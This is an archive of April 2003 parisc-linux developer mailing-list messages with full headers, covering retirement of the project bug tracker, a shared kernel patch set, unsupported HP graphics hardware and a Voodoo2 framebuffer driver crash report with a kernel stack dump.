	id 91CA4CD295; Tue, 22 Apr 2003 00:19:20 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18317

Hi all,

We have a bts setup at bugs.parisc-linux.org, but it hasn't been touched
for a very long time, and the only purpose it seems to serve nowadays is
to archive spam. Should we just remove it? There are a lot of items
there that remain "TODO" items... but perhaps a better way to keep
track of those is to put a todo list in cvs (we already have one for the
kernel... we can start one for userspace stuff too), and we can link to
it via viewcvs from the web page.

Any opinions?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to put patch 2.4.21 available in ftp.p-l.o?
Date: Tue, 22 Apr 2003 14:04:05 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3EA54BD5.90100@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622405 24890 80.91.229.3 (22 Nov 2014 02:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 22 07:51:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3040D482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Apr 2003 07:51:29 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 197yBE-0004jX-00; Tue, 22 Apr 2003 15:51:28 +0200
Original-Received: from [62.235.172.126] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 197yBD-0004is-00; Tue, 22 Apr 2003 15:51:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4
X-Accept-Language: en
X-DCC-MessageCare-Metrics: spm2 1108; Body=2 Fuz1=2 Fuz2=2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18318

Hi all,

As mentioned in other mails, I would like to make my patch 
2.4.21-pre7-pa3x available for all for revision.
(I already test it with success in 32bits and 64bits on a b2k compiled 
with gcc-3.0 but pb with gcc-3.2).

The best place would be in ftp.p-l.o (about 160k uncompresed so not very 
helpfull to insert in a mail) but I just have anymous access. So can 
somebody help me.

Thanks, 
    Joel




From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: remove/restart bugs.parisc-linux.org
Date: Tue, 22 Apr 2003 12:05:09 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030422160509.GG26986@systemhalted>
References: <20030422071920.GO25257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622406 24894 80.91.229.3 (22 Nov 2014 02:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 22 10:04:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD8E4482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Apr 2003 10:04:22 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 1980Gb-0001o5-00; Tue, 22 Apr 2003 12:05:09 -0400
Content-Disposition: inline
In-Reply-To: <20030422071920.GO25257@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18319

> We have a bts setup at bugs.parisc-linux.org, but it hasn't been touched
> for a very long time, and the only purpose it seems to serve nowadays is
> to archive spam. Should we just remove it? There are a lot of items
> there that remain "TODO" items... but perhaps a better way to keep
> track of those is to put a todo list in cvs (we already have one for the
> kernel... we can start one for userspace stuff too), and we can link to
> it via viewcvs from the web page.

I'm all for:

a. Removing the BTS.
b. Adding userspace cvs-based TODO list.

c.



From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to put patch 2.4.21 available in ftp.p-l.o?
Date: Wed, 23 Apr 2003 11:33:32 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030423173332.GC3017@dsl2.external.hp.com>
References: <3EA54BD5.90100@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622406 24896 80.91.229.3 (22 Nov 2014 02:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 23 11:33:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F2A5F482A; Wed, 23 Apr 2003 11:33:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EA54BD5.90100@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18320

Joel Soete wrote:
> As mentioned in other mails, I would like to make my patch 
> 2.4.21-pre7-pa3x available for all for revision.

(he meant "for all to review")

Joel mailed them to me and I've put them under:
	ftp://ftp.parisc-linux.org/patches/2.4.21-pre7-pa3x/

grundler@dsl2:/home/ftp/patches/2.4.21-pre7-pa3x$ ls
00_Parisc_Debian-configs.patch.bz2  04_Diva_support.patch.bz2
01_Parisc.patch.bz2                 05_generic-tree.patch.bz2
02_CpqfcTS.patch.bz2                patch-2.4.21-pre7-pa3x.bz2
03_Sym53c8.patch.bz2

thanks for preparing this!
grant


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HPA4246A framebuffer device.
Date: Wed, 23 Apr 2003 19:53:58 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030423185358.GO3140@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0304211532560.8607-100000@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622406 24898 80.91.229.3 (22 Nov 2014 02:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "K. David Prince" <kdp@hanhet.loew.washington.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 23 12:53:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A232C482A
	for <parisc-linux@parisc-linux.org>; Wed, 23 Apr 2003 12:53:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 198PNW-0001Yu-35; Wed, 23 Apr 2003 19:53:58 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0304211532560.8607-100000@localhost>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18321

On Mon, Apr 21, 2003 at 03:45:36PM -0700, K. David Prince wrote:
> I'm setting up one of our C180-XL machines.  Debian 3.0 is installed and X
> runs on the internal STI device.  This machine has a second video card,
> the HPA4246A.  I'd like boot with this as our primary display.  I've

This is a Visualize-48XP graphics card.  There's no support listed for
it in stifb.  It might be able to work if anyone has specs...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPA4246A framebuffer device.
Date: Wed, 23 Apr 2003 23:09:23 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <200304232309.23628.deller@gmx.de>
References: <Pine.LNX.4.44.0304211532560.8607-100000@localhost> <20030423185358.GO3140@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622406 24901 80.91.229.3 (22 Nov 2014 02:13:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	"K. David Prince" <kdp@hanhet.loew.washington.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 23 15:09:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 6E58F482A
	for <parisc-linux@parisc-linux.org>; Wed, 23 Apr 2003 15:09:11 -0600 (MDT)
Original-Received: (qmail 22748 invoked by uid 65534); 23 Apr 2003 21:09:09 -0000
Original-Received: from pD9040DD4.dip.t-dialin.net (EHLO P100.helgenet.de) (217.4.13.212)
  by mail.gmx.net (mp013-rz3) with SMTP; 23 Apr 2003 23:09:09 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <20030423185358.GO3140@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18322

On Wednesday 23 April 2003 08:53 pm, Matthew Wilcox wrote:
> On Mon, Apr 21, 2003 at 03:45:36PM -0700, K. David Prince wrote:
> > I'm setting up one of our C180-XL machines.  Debian 3.0 is installed and
> > X runs on the internal STI device.  This machine has a second video card,
> > the HPA4246A.  I'd like boot with this as our primary display.  I've
>
> This is a Visualize-48XP graphics card.  There's no support listed for
> it in stifb.  It might be able to work if anyone has specs...

Hi Willy,

yes, you are right:
#define CRT_ID_THUNDER2         0x2F8D570E      /* Thunder 2 VISUALIZE 48 XP*/

Can't someone insided HP take a look what needs to be done, or
if it's compatible to one of the supported cards ?

Regards,
Helge



From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sstfb crash
Date: Fri, 25 Apr 2003 14:08:38 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <200304251408.39242.arjenh@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622407 24903 80.91.229.3 (22 Nov 2014 02:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 07:12:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsfep11-int.chello.nl (amsfep11-int.chello.nl [213.46.243.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8DC9482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 07:12:02 -0600 (MDT)
Original-Received: from gatekeeper ([213.46.122.180]) by amsfep11-int.chello.nl
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030425131201.OFOX29019.amsfep11-int.chello.nl@gatekeeper>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 25 Apr 2003 15:12:01 +0200
Original-Received: from laptop ([10.0.3.2] ident=arjen)
	by gatekeeper with esmtp (Exim 3.35 #1 (Debian))
	id 19935b-0001A4-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 15:18:07 +0200
User-Agent: KMail/1.5.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18323

Hi,

I just tried to test my Voodoo2 card on a C240 machine. I compiled 2.4.20-pa32 
and set CONFIG_FB_VOODOO1=m. The compiler was 3.0.4. Unfortunately it crashes 
when i try to load it. The following messages appear just before it locks up 
hard:

# modprobe sstfb
sstfb : Voodoo2 with ICS ICS5342 dac
sstfb: framebuffer at 0xf3400000, mapped at 0xf3400000, size 2 Mb

Stack dump:
 1ec64900:  0004ff0e 10159e6c 1ec64880 002acc20
 1ec648f0:  5758595a 0003242c 0003556c 00000000
 1ec648e0:  10650800 00000000 1035e1df 1ebe5a14
 1ec648d0:  6269745f 1ebe5a14 6269745f 1ec64710
 1ec648c0:  6c6f636b 73747576 00000000 1ec647a0
 1ec648b0:  000001ff 00032adc 1f185340 0000000f

Kernel addresses on the stack:
[<10159e6c>]  [<0003242c>]  [<0003556c>]  [<00032adc>]
[<000355cc>]  [<0003556c>]  [<00034fee>]  [<00034940>]
[<00034fb4>]  [<0003556c>]  [<000355a4>]  [<101f1ac8>]
[<000355a4>]  [<101f1b90>]  [<000355a4>]  [<000345c8>]
[<1011cff0>]  [<101049fc>]  [<00032060>]  [<10109f90>]
[<0002b800>]  [<10109084>]  [<10108cf4>]  [<1013eaac>]
[<1013d610>]  [<1014db28>]  [<1011f77c>]

Kernel Fault: Code=15 regs=1ec64900 (Addr=eae3e729)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110
r00-03  00000000 102ad810 101f5f68 1ebe5ab4
r04-07  00000000 00000000 00000000 1ebe5800
r08-11  ffffffff 1ec64810 6269745f 1ebaa000
r12-15  1fdabcc0 1ec64550 000435a8 00042da8
r16-19  00042da8 00042da8 000521c8 00450192
r20-23  001f5dce 2bb0e9ab eae3e71d 745f6c6f
r24-27  00000000 00000000 745f6c6f 10292010
r28-31  0000000f f3000000 1ec64900 101f20d4
sr0-3   00000000 0000034d 00000000 0000034d 
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IADQ: 10135394 10135398
 IIR: 0ed8109a    ISR: 00000000  IOR: eae3e729
 CPU:        0   CR30: 1ec64000 CR31: 10348000
 ORIG_R28: 102acdc0

The System.map can be found at http://213.46.122.180/System.map.bz2

Any ideas?

Arjen Hommersom


From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sstfb crash
Date: Fri, 25 Apr 2003 16:57:39 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <3EA96903.3050808@tiscali.be>
References: <200304251408.39242.arjenh@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622407 24904 80.91.229.3 (22 Nov 2014 02:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arjen Hommersom <arjenh@chello.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 10:44:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47DE8482F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 10:44:55 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 1996Jh-00051F-00; Fri, 25 Apr 2003 18:44:53 +0200
Original-Received: from [62.235.174.185] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1996Jg-000519-00; Fri, 25 Apr 2003 18:44:52 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030327 Debian/1.3-4
X-Accept-Language: en
In-Reply-To: <200304251408.39242.arjenh@chello.nl>
X-DCC-neonova-Metrics: spm2 1127; Body=3 Fuz1=3 Fuz2=3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18324

Arjen Hommersom wrote:

>Hi,
>
>I just tried to test my Voodoo2 card on a C240 machine. I compiled 2.4.20-pa32 
>and set CONFIG_FB_VOODOO1=m. The compiler was 3.0.4. Unfortunately it crashes 
>when i try to load it. The following messages appear just before it locks up 
>hard:
>
># modprobe sstfb
>sstfb : Voodoo2 with ICS ICS5342 dac
>sstfb: framebuffer at 0xf3400000, mapped at 0xf3400000, size 2 Mb
>
>Stack dump:
> 1ec64900:  0004ff0e 10159e6c 1ec64880 002acc20
> 1ec648f0:  5758595a 0003242c 0003556c 00000000
> 1ec648e0:  10650800 00000000 1035e1df 1ebe5a14
> 1ec648d0:  6269745f 1ebe5a14 6269745f 1ec64710
> 1ec648c0:  6c6f636b 73747576 00000000 1ec647a0
> 1ec648b0:  000001ff 00032adc 1f185340 0000000f
>
>Kernel addresses on the stack:
>[<10159e6c>]  [<0003242c>]  [<0003556c>]  [<00032adc>]
>[<000355cc>]  [<0003556c>]  [<00034fee>]  [<00034940>]
>[<00034fb4>]  [<0003556c>]  [<000355a4>]  [<101f1ac8>]
>[<000355a4>]  [<101f1b90>]  [<000355a4>]  [<000345c8>]
>[<1011cff0>]  [<101049fc>]  [<00032060>]  [<10109f90>]
>[<0002b800>]  [<10109084>]  [<10108cf4>]  [<1013eaac>]
>[<1013d610>]  [<1014db28>]  [<1011f77c>]
>
>Kernel Fault: Code=15 regs=1ec64900 (Addr=eae3e729)
>
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>PSW: 00000000000001001111111100001110
>r00-03  00000000 102ad810 101f5f68 1ebe5ab4
>r04-07  00000000 00000000 00000000 1ebe5800
>r08-11  ffffffff 1ec64810 6269745f 1ebaa000
>r12-15  1fdabcc0 1ec64550 000435a8 00042da8
>r16-19  00042da8 00042da8 000521c8 00450192
>r20-23  001f5dce 2bb0e9ab eae3e71d 745f6c6f
>r24-27  00000000 00000000 745f6c6f 10292010
>r28-31  0000000f f3000000 1ec64900 101f20d4
>sr0-3   00000000 0000034d 00000000 0000034d 
>sr4-7   00000000 00000000 00000000 00000000
>
>IASQ: 00000000 00000000 IADQ: 10135394 10135398
> IIR: 0ed8109a    ISR: 00000000  IOR: eae3e729
> CPU:        0   CR30: 1ec64000 CR31: 10348000
> ORIG_R28: 102acdc0
>
>The System.map can be found at http://213.46.122.180/System.map.bz2
>
>Any ideas?
>
>  
>
It would be also of good help if you try to run the dump_analyser.sh (T. 
Varene) on this 'dump' with your kernel.
You can find it at 
<http://cvs.parisc-linux.org/build-tools/dump_analyser.sh>

hth,
Joel




From - Thu Nov 08 21:27:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sstfb crash
Date: Fri, 25 Apr 2003 18:13:33 +0200
Lines: 148
Approved: news@gmane.org
Message-ID: <200304251813.33948.arjenh@chello.nl>
References: <200304251408.39242.arjenh@chello.nl> <3EA96903.3050808@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_t6Vq+MbF0sxL4lc"
X-Trace: ger.gmane.org 1416622407 24908 80.91.229.3 (22 Nov 2014 02:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 25 11:17:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsfep14-int.chello.nl (amsfep14-int.chello.nl [213.46.243.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0B4B4831
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 11:16:58 -0600 (MDT)
Original-Received: from gatekeeper ([213.46.122.180]) by amsfep14-int.chello.nl
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030425171656.ZAWJ11499.amsfep14-int.chello.nl@gatekeeper>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 25 Apr 2003 19:16:56 +0200
Original-Received: from laptop ([10.0.3.2] ident=arjen)
	by gatekeeper with esmtp (Exim 3.35 #1 (Debian))
	id 1996ud-0001aW-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Apr 2003 19:23:03 +0200
